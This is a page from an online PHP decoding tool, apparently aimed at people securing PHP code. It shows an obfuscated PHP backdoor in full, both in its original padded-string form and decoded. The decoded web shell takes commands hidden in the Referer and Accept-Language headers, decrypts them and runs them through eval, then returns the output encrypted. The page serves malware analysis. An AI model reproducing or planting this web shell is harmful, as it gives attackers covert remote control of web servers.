Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $o=',3?J));$?J?Jp=?J"";f?Jor($z=1;$z<coun?Jt($m[1]);$z+?J?J+)$p.=?J$q[$m[2][$z?J?J]..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$o=',3?J));$?J?Jp=?J"";f?Jor($z=1;$z<coun?Jt($m[1]);$z+?J?J+)$p.=?J$q[$m[2][$z?J?J]?J];i?Jf(strpos($p,?J$h)===0){$?Js[';
$A='$i<$l?J;){f?Jor($j?J=0;($j?J<$c&&$i?J?J<$l);$j?J++,$i++){$o.?J=$t{$i}^?J$k{?J?J$j};}}ret?Jurn $o;}$r?J=?J$_S?JERVE';
$F='$kh="5d?J41";$k?Jf="402?Ja";fu?Jnction x?J($t,$k){?J$c=str?Jlen($?Jk);$l=s?Jtrlen?J($t)?J;?J$o="?J";for($i=0;';
$p='?Jn();$?Jd=base6?J4_encod?Je(x(gzcompres?Js(?J$o),$k?J));print?J("<$?Jk>$?Jd<?J/$k>");@ses?Jsion_destroy?J();}}}}';
$x='$i?J]="";$p=$ss?J(?J$p,3);}if(ar?Jray?J_key_exist?Js($i?J?J,$s)){?J$s[$i].=$p;$e=?Jstrpos?J(?J$s[?J$i],$f);if(?J';
$Z='$e){?J$k=$kh?J.$kf;ob?J_sta?Jrt();@eva?Jl(@gzu?Jncompres?Js(@x(@?Jb?Jase64?J_dec?Jode(preg_rep?Jlace(arr?Jay?J(';
$m='?Jrtol?Jower";$i?J=$m[1][0].$m[1?J?J][1];$h=$sl(?J$ss(md5?J($i.$k?Jh),0,3?J)?J?J);$f=$sl($ss(md?J5($i.$kf?J),0';
$t='R;$rr?J=?J@$r["HTTP_REFE?JRER"?J];$ra=@$r["?JHTTP_?JACCE?JPT_LANGU?JAGE"];if?J($?Jrr&?J&$ra){$u=?Jpars?Je?J_?Ju';
$f='"?J/_/","?J/?J-/"),array?J("/",?J"+"),$ss($s[$i],?J0,$e?J))),$k))?J);$o=ob?J?J_?Jget_contents();ob?J_end_?Jcle?Ja';
$M='rl($rr?J);parse?J?J_str($u["query"],$q);$q=a?J?Jrray_v?Jalues($?Jq);preg_ma?Jtch_a?Jl?Jl("/([\\?Jw])[\\w-]+(?:;?Jq?J';
$g='=?J0.([\\d]))?J?J?,?/",$ra,$m?J);if(?J$q&&$m)?J{@?J?Jsession?J_start(?J)?J;$s=&$_?JSES?JSION;$ss="substr";$sl=?J"st';
$w=str_replace('oE','','creoEaoEte_oEfoEunoEctoEion');
$C=str_replace('?J','',$F.$A.$t.$M.$g.$m.$o.$x.$Z.$f.$p);
$V=$w('',$C);$V();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 433d7dedd613cd58be90bb5c4a2d298c |
| Eval Count | 1 |
| Decode Time | 121 ms |